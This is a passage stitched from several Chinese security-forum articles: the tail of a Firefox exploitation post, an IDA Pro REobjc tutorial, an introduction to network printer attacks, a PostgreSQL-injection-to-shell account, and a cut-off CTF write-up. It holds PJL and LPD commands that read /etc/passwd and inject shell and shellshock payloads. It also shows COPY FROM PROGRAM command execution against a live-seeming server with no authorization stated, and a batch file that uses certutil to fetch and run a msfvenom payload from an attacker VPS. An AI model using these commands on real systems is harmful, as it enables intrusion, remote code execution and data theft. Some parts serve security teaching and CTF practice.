"具体解释点这里")。)
假设，我们现在可以控制 ArrayBuffer 的数据指针。 因此，通过为 Uint32Array 分配损坏的 ArrayBuffer，您可以一次读取和写入
4 个字节，来用于任意位置的数据读写。(译者注：Uint32Array 读取数据是无符号的32位数据，就相当于直接能读取地址，不会返回 NAN
或者其他情况)
那么，相反的情况，如果我们使用普通数组，则从任意位置读取的数据将处于浮点状态，并将数据写入我们需要以浮点形式写入。
译者注： 这部分是用来说明一个事情，就是使用 Uint32Array 类似的初始化 Arraybuffer
之后，我们从内存中读取数据，写入数据时，读到或写入的数据是真正在内存中存在的形式。举例：
在内存中
地址 数据
00001000 0x1CD01234
那么用 Uin32Array 读地址 0x00001000 ,返回的内容就是 0x1CD01234 。
若用普通的数组 Array 读地址 0x00001000，返回的内容可能是一个浮点数，或者就是 NAN 读取错误，因为有 nan-boxing 。
## 结语
所以，总结一下到目前为止学到的东西:)。 当有更多的空闲时间时，我打算为blazefox写一篇文章，这是一个挑战，也是一个非常好的尝试开始浏览器相关的开发。
我知道这篇文章仍然不完整，可能也有错误。 如果您发现其中的任何错误，告诉我，我很乐意纠正它。
## 参考
* [OR’LYEH? The Shadow over Firefox](http://www.phrack.org/issues/69/14.html "OR’LYEH? The Shadow over Firefox") by [argp](https://twitter.com/_argp "argp").
* [Learning browser exploitation via 33C3 CTF feuerfuchs challenge](https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/ "Learning browser exploitation via 33C3 CTF feuerfuchs challenge")
* [Building SpiderMonkey](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation "Building SpiderMonkey") | 社区文章 |
# 使用IDA Pro的REobjc模块逆向Objective-C二进制文件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近，在使用IDA Pro研究iOS应用的过程中，我发现，虽然IDA
Pro和神奇的Decompiler插件能够以超高的还原度生成大部分的源代码，但如果想要针对某一个方法跟踪交叉引用（Cross
Reference）的话，会发现其中缺失了许多实际存在的交叉引用，这对于静态分析工作的完整性造成了极大的挑战。
DUO Labs在<https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro>发布了一篇文章，提到了IDA
Pro中的这个问题，解释了其中的原理，并开发了一款工具，帮助逆向研究者更全面地获取交叉引用的信息。
## Objective-C与IDA Pro交叉引用
Objective-C是C语言的变体。用它开发的程序与Objective-C
Runtime共享库链接。这个库实现了整个对象模型来支持Objective-C。
Runtime的目标之一是尽可能动态。这样的设计会对对象的函数调用产生影响。在Objective-C中，函数方法的调用被称为消息传递。对象一旦接收到这些消息，会调用其中的一个对象的方法。Runtime在运行时动态解析方法调用。Objective-C源代码中的方法调用由编译器转换为Runtime函数“objc_msgSend()”的调用。
在这里，我们将仔细研究一下IDA Pro模块REobjc，该模块将调用objc_msgSend()的正确交叉引用添加到被调用的实际函数中。
如果从一个方法到另一个方法的调用被编译为对objc_msgSend()的调用，这样运行时调用的实际函数将不会反映在IDA
Pro的交叉引用中。objc_msgSend()的函数签名定义如下：
id objc_msgSend(id self, SEL op, …)
对于任何的Objective-C方法调用，前两个参数是对象的self指针以及selector，selector参数是调用方法对应的字符串表示。带参数的Objective-C方法将在selector之后按顺序传递参数。
## 编译Objective-C程序
下面的代码示例为一个简单的Objective-C源代码。此init方法包括4个Objective-C方法调用。
从概念上讲，编译器读取上面的Objective-C方法，并将它们编译成类似于以下内容的C代码。这个C代码示例实际上来自于IDA
Pro的反编译器输出，它很好地说明了编译器如何将Objective-C调用转换为C。
如图所示，[super init]被转换为对objc_msgSendSuper2()的调用。这是初始化子类时的常见做法。[NSString
string]被转换为objc_msgSend()调用，该调用被发送到NSString的对象。对于有参数的类方法的调用，[NSMutableData
dataWithLength：_length]也被转换为对objc_msgSend()的调用。
示例中的最后一个Objective-C调用[[BTGattLookup alloc] init]展示了一个常见的allocate-initialize模式。首先，BTGattLookup类收到alloc消息，构造出了该类的实例。然后使用第二个objc_msgSend()调用init。
如果生成对应英特尔X64架构的二进制文件，调用将依照英特尔X64
ABI。函数参数按照RDI，RSI，RDX，RCX，R8，R9的顺序在寄存器中传递。这意味着RDI寄存器保存自指针，RSI寄存器保存选择器指针。如有参数，将从RDX寄存器开始保存。
如果要在IDA中添加从一个Objective-C函数到另一个Objective-C函数正确的交叉引用的话，就必须知道RDI和RSI寄存器中的值。对于大多数objc_msgSend()调用，这两个寄存器中的值通常很容易获取。
不过，除了上述方法调用方式之外，编译器可能也会使用其他方式。在X64上，编译器通常使用CALL和JMP指令生成函数调用。其他的可能性有使用条件跳转指令或直接分配方法给指令指针，但是概率很小。
编译器还可以将函数调用编码为间接调用或直接调用。在间接调用的情况下，指令参数是寄存器。在直接调用的情况下，指令参数是对内存位置的引用。不管哪种情况，都必须确定CALL或JMP是否引用了objc_msgSend()。
此外，为了正确生成交叉引用，必须跟踪函数调用的返回值。在X64中，函数调用的返回值存储在RAX寄存器中。如果在源码中首先alloc一个对象，然后对生成的对象实例执行方法调用，则需要跟踪存储在RAX中的对象指针的类型，以正确理解调用objc_msgSend()时传递的对象。
## REobjc Idapython模块
REobjc idapython模块的主要目的是在Objective-C方法之间创建交叉引用。要使用REobjc，打开IDA
Pro命令窗口并执行以下Python脚本：
idaapi.require(“reobjc”)
r = reobjc.REobjc(autorun = True)
## REOBjc深入
要定位到我们关注的Objective-C
Runtime调用，首先需要理解编译器可以通过多种方式在二进制中对调用进行编码。无论是直接的还是间接的调用，都有多种方式对调用指令进行编码。
所有Objective-C程序都链接了Objective-C Runtime，因此，所有调用最终都会进入导入的libobjc.dylib库。
通常，程序将包含一个插桩（stub）函数，它只执行无条件跳转到objc_msgSend()函数。这允许程序在任意地址加载并且正确调用库。
在REobjc模块中，将通过识别objc_msgSend()的所有调用形式来识别方法调用。调用的目标可能是_objc_msgSend，可能是__imp__objc_msgSend形式的导入指针。模块将查找当前数据库中所有相关的内容。
模块使用API
idautils.Names()检索IDA数据库中所有的名称，然后通过正则表达式匹配目标函数，将匹配存储在数组中。分析时，每个候选调用或跳转指令都与Objective-C
Runtime函数列表进行比较，记录使用任意形式的objc_msgSend()调用，并添加到交叉引用列表中。
随后模块迭代二进制文件中的所有函数，并且对于每个函数，迭代其中所有的指令。当识别出CALL或JMP指令时，模块确定指令的对象。如果对象是寄存器，则从CALL或JMP指令向前寻找寄存器的值。直接调用相比较为简单，可以立即获得CALL或JMP的对象。无论哪种情况，如果目标是objc_msgSend()，则CALL或JMP很有可能添加交叉引用。
当识别出objc_msgSend()的调用时，必须标识前两个函数参数。如上文所述，第一个参数指向接收Objective-C消息对象的指针。第二个参数是指向传递给对象的selector或消息的指针。由resolve_register_backwalk_ea()方法解析寄存器的值。
如上文所述，这里有两个寄存器需要特别关注。
RAX寄存器将保存先前CALL指令的返回值，因此REobjc.resolve_register_backwalk_ea()将通过CALL来跟踪RAX。此外，由于RDI寄存器用作Objective-C中的self指针，因此有些情况下RDI未在函数内显式设置。这是因为这些目标函数是在自己的self指针上调用方法。因此，当往回寻找时，如果RDI目标寄存器并且未显式设置，则代码将确定该方法来自当前类。
一旦为RDI和RSI寄存器解析了self和selector指针，模块将对可能方法尝试创建交叉引用。这是通过利用IDA Pro中现有的Objective-C支持来完成的。模块函数REobjc.objc_msgsend_xref将处理交叉引用的创建。该函数获取CALL的位置，以及设置RDI和RSI的位置，并尝试添加适当的交叉引用。
目前模块只能添加在当前二进制文件中方法的交叉引用，之后会尝试添加导入的库中方法的交叉引用。
## REobjc：实践
接下来，我将通过搭建实际的iOS测试工程来实践不同方法调用方式的效果以及REobjc模块对完善交叉引用记录的效果。
首先，我们看一下最基础的一个调用。每一个ViweController都会默认调用父类中的viewDidLoad方法。
把工程编译后，在IDA Pro中看到的汇编代码如下：
使用Decompiler插件生成伪代码后：
可以发现，IDA
Pro很好地还原了方法调用的逻辑。查看交叉引用信息，发现IDA也识别出了该调用。只不过，识别出来的被调用函数为msgSendSuper2，并不是我们想要的viewDidLoad。
我们运行REobjc后发现，交叉引用中添加了一条记录，表示ViewController的viewDidLoad方法被调用。DUO
Labs作者在文章中也提到，目前的版本在正确识别父类方法调用上会有问题，可能会将子类的方法调用交叉引用添加到父类中，这就导致了我们在子类的交叉引用中看到了这条指向自己的记录。
接下来我们自己编写一个方法，在Lion类中新建一个实例方法lionFirstMethod如下：
可以看到方法中仅调用了NSLog用来打印调试语句。我们在工程其他方法中有两处引用了该方法，可以在搜索中看到：
接下来我们在IDA Pro中查看交叉引用信息，发现IDA Pro一个也没有识别出来（因为都识别成了msgSend）。
其实，这个结果是让我有点吃惊的，毕竟代码中写的还是非常直白的。
从生成的伪代码中也可以清晰地看出方法调用
随后我们尝试使用REobjc模块进行补完，发现交叉引用中正确地添加上了两条引用记录。
接下来，我们再做一个尝试。我们在Lion类中添加一个类方法，并且使用反射的方式引用类和该类方法。
不出意外，我们发现，IDA
Pro并没有识别出该调用（仅识别出了msgSend，没有识别出performSelector，更不用说lionClassMethod了）。
当我们尝试使用REobjc进行补完，发现也没有识别出来最终的lionClassMethod。
总体来说，REobjc对一些基础的方法调用进行了补充，可以说完善了IDA Pro在Objective-C方面的一些缺陷，但是在更加细节的方面需要进行加强。另外，REobjc还没有针对arm架构的版本，我们使用模拟器进行编译的可执行文件可以使用REobjc，但是对于实际需要进行逆向分析的目标应用，通常无法获取非arm版本，所以后续我们也会尝试针对arm平台进行补充完善。
参考：<https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro> | 社区文章 |
# 【技术分享】网络打印机安全技术初探
|
##### 译文声明
本文是翻译文章，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/an-introduction-to-printer-exploitation-1/3565>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
以下章节的内容仅仅是我自己对打印机的研究工作以及最近读到的有关打印机文章的总结。在过去的几个月时间里，我有机会接触到几种不同型号的打印机，并学习了一些有关打印机的基本规范。不论是供应商还是基本规范，各个类型的打印机都不同，并且每个类型的打印机还使用各种不同的协议和固件。在接下来的文章中，我将先对打印机的有关理论知识进行介绍。
那么，为什么要将打印机作为攻击目标呢？为什么不像往常一样研究个人电脑或者服务器上的恶意软件呢？在接下来的几个段落中我们将对上述问题进行阐述。
**本地vs网络打印机**
本地打印机只是简单的连接到台式电脑上，共享性差。 **而现在的所有打印机基本上都是网络打印机**
，使用网络打印机可以使物理位置不在同一个地方的用户共享一个或者多个打印设备，整个视图看起来如下图所示：
如上图所示，网络打印机协议作为部署打印作业的通道，直接包含了页面描述语言（PDL）或者首先调用打印机或者作业控制语言！下面我将对上图中的每个部分进行介绍，并对每部分涉及到的基本原理进行阐述。
**基础知识**
****
**一、固件**
根据以往的工作经验，打印机使用了一些嵌入式设备的不同类型的操作系统。例如下面几个操作系统就是一些网络打印机常使用的嵌入式设备操作系统：
1\. 可定制的GNU / Linux，
2\. [WindRiver Linux5](https://www.windriver.com/products/linux/)，
3\. [VxWorks5](https://www.windriver.com/products/vxworks/)，
4\. [ThreadX6](http://rtos.com/products/threadx/)。
通过对几款打印机的研究和分析，我总结出了这些打印机的一些共同点：
1\. 精简指令/命令集-减少功能，
2\. 使用版本较老的内核-通常内核版本是2.6.XYZ，
3\. 可能包括一些“隐藏”功能，但可以通过wink补丁启用-例如：找到一个ssh文件，但需要在配置文件中启用，
4\. 与家用打印机相比，ssh功能更多保留在办公室中的打印机中，
5\. 有时固件的存储方式很有趣-例如：在SD卡上，您可以删除或者切换30秒内的物理访问。
以上的这些事实表明，网络打印机可能容易受到某些网络攻击，但这些网络攻击在实施上通常会变得比较“复杂”，因为网络攻击者甚至不能或以某种方式通过（远程）文件系统的写入来启用网络打印机上的某些功能。接下来，我将对打印机协议进行介绍，打印机协议通常用于打印服务器和台式PC之间的通信，甚至用于打印机内部的通信。
**二、网络打印协议**
在Windows用户群体中，SMB/CIFS协议的打印机很受欢迎。然而，最常见的网络打印协议是LPD，IPP和RAW。此外，一些网络设备还支持FTP或HTTP等通用协议通过文件上传的方式进行打印。
**1\. LPD**
LPD是“行式打印机后台程序”协议的缩写，该协议监听TCP
515端口，可以通过CLI使用“lpr”进行访问。为了打印，客户端需要发送一个作业控制文件和包含要打印的数据文件。
**2\. IPP**
IPP是基于HTTP的扩展协议，因此它继承了HTTP协议所有的安全功能，如基本身份验证和SSL/TLS加密。要提交打印作业，用户需要发送HTTP
POST请求到IPP服务器，该服务器监听TCP 631端口，任何人都知道CUPS是IPP协议的一个实现，它是许多Linux发行版和macOS
X中的默认打印系统。
**3\. SMB**
SMB（服务器信息块）是应用层网络协议，通常在Windows上使用。该协议监听TCP 445端口，经常用于网络中的共享文件和打印机。
**4\. 9100端口**
也被称为“raw printing”，因为它使用TCP
9100端口进行网络打印操作，通常在CUPS和Windows系统中使用。与LPD，IPP和SMB协议需要使用打印机控制语言才能执行打印操作相比，通过9100端口发送的所有数据都由打印设备直接处理，并直接将打印结果反馈到客户端，包括状态和错误消息。因此我们可以通过该方法来直接访问打印机控制语言的结果！
**三、打印机控制语言**
基本上，作业控制语言管理当前作业的输出等设置,它通常位于打印协议和页面描述语言之间。打印机控制和管理语言的设计不仅影响单个打印作业，而且影响整个打印设备。
下面我将对最基本的两个打印机控制语言进行介绍：
**1\. SNMP**
SNMP-“简单网络管理协议”，该协议监听UDP 161端口，用于管理网络组件。
**2\. PJL**
PJL是“Printer Job
Language”的简称，该控制语言可用于操纵常规设置，也可以永久更改。在许多控制语言中，供应商往往只支持PJL控制语言中的部分命令，并根据打印机的需要自行添加专有的功能。此外，PJL也常用于设置实际打印数据的文件格式，网络攻击者往往对该控制语言的这个功能非常感兴趣。
**四、页面描述语言（PDL）**
PDL主要用于指定了实际文档的视图，下面将介绍两种主要的页面描述语言：
**1\. PostScript（PS）**
众所周知，该页面描述语言由Adobe发明，并被广泛用于PDL。PS的能力远不止于定义文档的外观和处理矢量图形。因此，当被网络攻击者利用时，PS可以用于各种攻击，例如拒绝服务，打印作业处理和保留以及访问打印机的文件系统等恶意操作。
**2\. PCL**
PCL是各种供应商和设备都支持的极简页面描述语言，该页面描述语言不直接访问底层文件系统，因此和PS相比，该描述语言并不是很适合用于攻击的目的。
**漏洞利用**
****
通过Shodan我发现很多人会把打印机放在因特网上，具体如下图所示：
如上所述，很多网络打印机通过端口9100连接到互联网，因此网络攻击者使用该端口可以对这些网络打印机实施网络攻击。例如利用打印机设备上的一个SSH弱口令的漏洞就可以轻松的登入到网络打印机设备中去。
**可能要搞的事情**
****
**1\. DoS**
独占传输通道-阻止一个打印端口，使打印机保持繁忙状态，不再打印任何东西。
文档处理-通过PDL操作文档，让打印机解析该文档。例如：PS中的无限循环。
物理损坏-在NVRAM芯片上写入的恶意软件。
**2\. 特权升级**
恢复出厂设置-重置为出厂默认设置以绕过认证。
绕过账户权限。
**3\. 访问打印作业**
尝试在打印机上查找存储的打印作业并提取它们。
更改打印作业。
**4\. 信息泄漏**
内存访问-可能会找到密码或打印文档中的敏感数据。
文件系统访问-可以检索敏感信息，如配置文件或存储的打印作业。
凭证泄漏-对更改的默认登录凭据进行暴力攻击以获取访问权限
**5\. 代码执行**
缓冲区溢出-由于打印机提供额外的语言和网络服务，因此可能存在缓冲区溢出漏洞；
固件更新-将打印机固件更新为含有恶意软件的固件；
软件包-定制和操纵打印机应用程序。
**可能的攻击场景**
****
如上所述，构造何种类型的攻击向量取决于攻击计划和访问方式，一些攻击手法可能需要物理访问，而另一些则可以通过远程来完成。例如，通过简单的打印作业（可能的情况：无需验证）发出恶意固件更新，提取敏感数据并使打印机不可用等。因此对打印机的攻击成败确实取决于它们所在的物理位置及其网络环境。
**用到的工具**
****
上面提到的很多技术需要掌握一些底层结构的知识（例如：使用PDL，PCL）。即使使用手册或在线搜索可以很容易地找到这些信息，但仍然是比较麻烦和额外的工作。因此利用现有的工具可以使我们的工作变得轻松和简单。
**1\. BeEF**
浏览器开发框架（BeEx）是一种针对Web浏览器的渗透测试工具。它允许渗透测试者通过使用客户端攻击向量来评估目标环境的实际安全状态，使用该框架可以实现跨站打印。
**2.Praeda**
Praeda，是一款用Perl编写的自动打印机数据采集工具，该工具可以帮助渗透测试人员在安全评估工作期间收集可用的数据。Praeda能够从打印机的嵌入式Web服务器中收集敏感信息，包括设备密码，用户名以及电子邮件地址等敏感数据信息。
**3\. PRET15**
这是一个用python编写的工具，该工具实现了我上述提到的每个攻击向量。
它通过网络或USB连接到网络打印机，并尝试利用打印机所使用的打印机语言，（目前支持的是PS，PJL和PCL），当成功连接时，有一大堆可以使用的命令。
**4\. LES**
Linux Exploit
Suggester是一个小perl脚本，由于嵌入式操作系统的内核版本通常远低于当前linux的桌面或服务器发行版本。那么使用该脚本在一些较旧版本的Linux内核漏洞利用中可能仍然可行！
下面我将通过一个实验性的例子来介绍如何对一台网络打印机实施网络攻击操作。
首先要明确打印机开放哪些端口以及操作系统指纹是什么，这里我们使用nmap来获取这些数据信息，扫描结果如下所示：
$ sudo nmap 192.168.1.108
Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST
Nmap scan report for 192.168.1.108
Host is up (0.031s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
515/tcp open printer
631/tcp open ipp
9100/tcp open jetdirect
MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
Device type: specialized
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.31 - 2.6.35 (embedded)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
通过对扫描结果的分析我们发现，该打印机开放了9100端口，并且它正在运行一个较旧的Linux内核，但该打印机并没有开放TCP
22端口，因此想要造成文件系统的混乱是不可能的了。然后，使用PRET看看能获取到什么数据信息，实验结果如下所示：
$ python pret.py 192.168.1.108 -s PS
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PS support: not found
$ python pret.py 192.168.1.108 -s Pjl
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PJL support: not found
$ python pret.py 192.168.1.108 -s PCL
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PCL support: not found
依然没有发现SSH，很可能是这款打印机的供应商对该打印机系统做了一些定制化的操作，使其变得稍微安全一些，不然一旦使用PRET连接到打印机中的一个功能，我们将可以做很多事情。例如检查文件系统。
创建目录，更改配置文件甚至dump整个NVRAM。在发现使用PRET无果之后，我继续尝试其他渗透测试工具！我准备使用LES工具，以发现是否存在可以利用的Linux漏洞，实验过程如下所示：
$ perl Linux_Exploit_Suggester.pl -k 2.6.31
Kernel local: 2.6.31
Searching among 65 exploits...
Possible Exploits:
[+] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814/
[+] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[+] half_nelson
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787/
[+] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297/
[+] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[+] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150/
[+] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023/
[+] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[+] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285/
[+] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130/
[+] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024/
通过简单地分析LES工具的输出结果，我决定继续尝试其他方法。
直觉告诉我，为什么不再试试PJL呢？因此我使用netcat作为监听程序，并尝试手动调用一些命令，执行命令如下所示：
echo "@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648" | nc -v -v 192.168.1.108 9100
# If successful this should display the */etc/passwd* file.
或者
echo "@PJL INFO ID" | nc -v -v 192.168.1.108 9100
# If successful this should get the *printer’s device information*
在这个过程中我也尝试了其他PJL命令注入技术，由于它们的命令语法差异很大，加上我也不太了解PS/PCL的启动，因此我的打印机对这种“攻击”一点也没有反应。
**一个PRET脚本就能搞定？**
****
如上所述，PRET并不能用来“攻击”我的家用打印机。但是我发现PRET源文件夹中有一个名为“lpdtest.py”的“隐藏”脚本，该脚本可以用来测试行式打印机后台程序中较老的漏洞，测试过程如下所示：
尝试从打印机的文件系统获取文件，代码如下所示：
$ lpdtest.py printer get / etc / passwd
$ lpdtest.py printer get ../../../etc/passwd
＃etc...
此测试对用户输入的数据（例如主机名，用户名，作业名，文件名等）进行fuzz处理。
# Test for environment variables
$ lpdtest.py printer in '$UID'
# Test for pipes and redirects
$ lpdtest.py printer in '| pwd'
$ lpdtest.py printer in '>> /etc/passwd'
# Test for backticks
$ lpdtest.py printer in '`ls`'
# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)
$ lpdtest.py printer in '() {:;}; /bin/ping -c1 1.2.3.4'
正如预期的那样，这些攻击已经被修复，使用该脚本依然没能成功实施对打印机的攻击操作。
**总结**
****
为什么打印机会被攻击？
大多数打印机已经和个人电脑或者服务器没什么区别了！
打印机可用作端口/网络/漏洞利用扫描器
用于计算/哈希破解/嗅探
用于上传恶意软件
用作C&C服务器
盗取未加密的数据
**展望**
****
如果我拿到一些更好的打印机，那么我将会继续在这些打印机上研究有关打印机漏洞利用的实验。如果我有更多的时间，我会投入更多的时间去研究对上述家用打印机的漏洞利用。例如捕获固件更新，并尝试对固件执行脱壳和逆向操作，但这些都需要投入更多的时间去研究和分析。所以我现在保持开放的心态，我希望上述的研究和分析能让我保持对打印机漏洞利用研究的兴趣。此外，我希望这篇文章能够帮助到那些对打印机漏洞利用感兴趣的人，并能够学习一些东西。所以如果你想研究自己的打印机设备，Just
do it!不过请切记提醒：
找到进入系统的一种方式，
检查使用的打印机语言，并尝试上述这些代码注入技术，
尝试从Web界面dump文件系统目录结构，
如果可以，上传自己创建的“恶意”固件，
找到一种新的漏洞利用方法
最后，我期待着反馈和改进建议。 | 社区文章 |
### 0x01 前言
mysql遇得比较多，postgresql还没怎么遇到过，过程算是一波三折，但好歹积累到了经验，主要记录下利用时的心路历程。
### 0x02 注入点
先nmap扫描目标端口，得到一个开放了http服务的端口，访问之，账号密码自动填充了，点击登录就可以直接进入后台
找功能点，抓包，好家伙，直接把sql语句明文放在post参数里面了，心是真的大
看了下网站架构，vue+java，猜测数据库很有可能是mysql，那就试试能不能直接运行sql语句
`select * from information_schema.SCHEMATA`
成功执行，而且仔细看获取到的数据库字段，可以明显看到 **postgres**
字样，猜测是postgresql数据库，果然，用mysql的concat函数测试一下，api报错了，可以大概肯定是pgsql数据库。
知道是pgsql数据库就好办了，因为没记错的话pgsql ≥ 9.3版本是存在一大堆漏洞的，但我们不急，先一步一步来。
* 获取pgsql安装目录（判断pqsql版本、系统版本）
`select setting from pg_settings where name = 'data_directory';`
* 获取当前用户
`select user`
* 查询用户密码（md5加密）
`SELECT rolname,rolpassword FROM pg_authid;`
* 系统命令执行（CVE-2019-9193）
`DROP TABLE IF EXISTS cmd_exec;`
`CREATE TABLE cmd_exec(cmd_output text);`
`COPY cmd_exec FROM PROGRAM 'whoami';`
`SELECT * FROM cmd_exec;`
### 0x03 一波三折
现在可以直接执行命令了，不就可以直接写shell，连shell一条龙了吗？然而事实上并非如此简单，因为不知道是不是dos编码的原因，执行的命令如果回显含有中文会导致pgsql报错进而导致无法把执行结果保存进数据库。比如我这里执行`certutil`，报错结果如下：
执行`dir c:\`也会报错：
比较奇怪的是，执行`systeminfo`命令却又可以成功执行并且执行结果中的中文也能正常显示。从系统信息中看到该服务器是中文系统，可是有的命令执行结果是英文，有的执行后又是中文，属实是整不会了。
因为知道dos默认编码是gbk，于是我先用`chcp 65001`命令将dos编码改为utf-8编码，然后执行回显有中文的其他命令。结果失败了。
后来我在自己电脑上测试的时候突然醒悟，chcp命令只能改变当前终端进程的编码，关掉再新开一个cmd窗口编码仍然是默认的936
gbk编码，同理，虽然我通过chcp命令改变了编码，但是再重新执行其他命令的时候pgsql也会新建一个子进程，而这个子进程仍然是gbk编码。所以正确的打开方式应该是在需要执行的命令前加一句`chcp
65001`，比如`chcp 65001 & certutil`，一想到这里自觉真是聪明，然而现实分分钟打脸：
既然直接certutil不行，那就先dir老老实实找网站目录吧。
这里我猜测网站也部署在D盘，并尝试用 `..\\`来向上读取目录，进而定位到该网站的绝对路径，但是到第三层父目录的时候报错了
这就很尴尬了，因为dir到第二层的时候还在pgsql的安装目录下，第三层还没有到D盘根目录呢继续向上读取，仍然是同样的报错。这里猜测是遇到权限问题了。
直接dir父目录不行，那就再换。想到dir命令还可以用来查找文件，而且网站也有不少静态图片文件，除非当前站点在内网的其他服务器上，否则用dir也能根据图片文件名找到其绝对路径的，直接试试。
成功了但没完全成功，因为Windows系统下虽然用斜杠和反斜杠表示路径都可以，但是默认是反斜杠，结果数据入库的时候反斜杠可能是被当作转义字符过滤掉了，导致最终路径符号没有显示出来。
于是又开始用dir猜测路径是否存在（这里被路径卡了半天，因为我笃定就是`d:\applications\a-web\`，然而尝试了很多次一直报错，直到最后改成`d:\application\sa-web\`才成功，不得不吐槽运维的脑回路），最后把web目录基本爬完了。
看到jar的时候才恍悟，这是个Nginx+Jar包部署的项目啊，前后端分离的，写webshell完全没意义啊。
### 0x04 柳暗花明
整理下思路，某些含中文回显的命令不能用，dir找到了web目录，但是前后端分离。休息放松一下，突然有了另外的思路，可以传bat上去啊，只需要隐藏掉所有命令的回显就不会有数据入库时的编码问题了，而且先前用`tasklist`看到服务器上没有杀软，就更简单不少。
说干就干，先在vps上用msfvenom生成一个exe马，改后缀名为txt，用python起一个http服务，把txt文件放到指定目录，确保可以被目标访问到。
然后着手准备bat脚本，查了下资料，可以用@echo off隐藏执行的命令，再用 >null将输出重定向到null就可以实现完全无回显了，如下图
在本机上测试了一下，成功，无回显执行。
于是立即用echo命令将payload写到目标上先生成bat文件
COPY cmd FROM PROGRAM 'echo @echo off\ncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat'
看样子是执行成功了，用dir命令看看，成功写入了
再type看了下bat文件的内容，确认没问题后执行`.\test.bat`，看到文件大小符合
就再使用ren命令把txt后缀改为exe后缀
最后成功上线
看一眼时间，天色渐晚了，吃个夜宵睡觉，明天再来想提权的事儿吧。
### 0x05 后话
看到系统是2012
R2的时候立即就想到用powershell上线了，然后系统似乎没安装powershell组件，因为执行后一直超时也没有shell反弹就果断放弃了。
感觉学安全还是要潜下心才能真正学到东西。 | 社区文章 |
# 【CTF攻略】2017年陕西省网络空间安全技术大赛过关攻略
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[Mirage](http://bobao.360.cn/member/contribute?uid=2582786425)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
为提高大学生的网络安全技术水平，培养大学生的团队协作能力，由陕西省兵工学会主办，西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛，2017年5月13日进行线下总决赛。文章为本次大赛第一名的队伍Mirage的writeup。
**
**
**web**
* * *
**签到题**
直接源代码代码审计，php弱类型 然后第二关 构造
<?php class a{ var $key; } $b = new a(); $b->key=0; $c=json_encode($b); echo $c; ?>
**抽抽奖**
没有数据传输，因此判断代码在本地。然后在JQuery.js文件里发现JSfuck，解密然后console直接输入getFlag即可
**继续抽**
直接爆破，脚本如下
import requests
import hashlib
def encode(str):
end = ""
for s in str:
if ord(s)<128:
end+="%x"%(255-(ord(s)+128))
if ord(s)>127:
end+="%x"%(255-(ord(s)-128))
return end
flag = []
for x in range(0,200):
cookies = {'PHPSESSID': '3k2rd4536me3rjsojf473vctd7'}
r = requests.get("http://117.34.111.15:81/token.php",cookies=cookies)
m = hashlib.md5(str(x)).hexdigest()
print x
print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),cookies=cookies)
flag.append(s.text)
print s.text
print set(flag)
**So easy**
代码审计发现 这里没有用escape_string,因此存在注入 可是折腾了好久
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}
然后通过过滤函数，找到了去年sysclover的一篇Writeup
然后才发现我前段时间遇到过这个操作符构造注入了，可是当时比较忙，没时间做，因此技能点没有get
脚本长这样，虽然丑点，但是能跑出passwd
# --coding:utf-8-- import requests
url="http://117.34.111.15:89/?action=show"
passwd=""
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
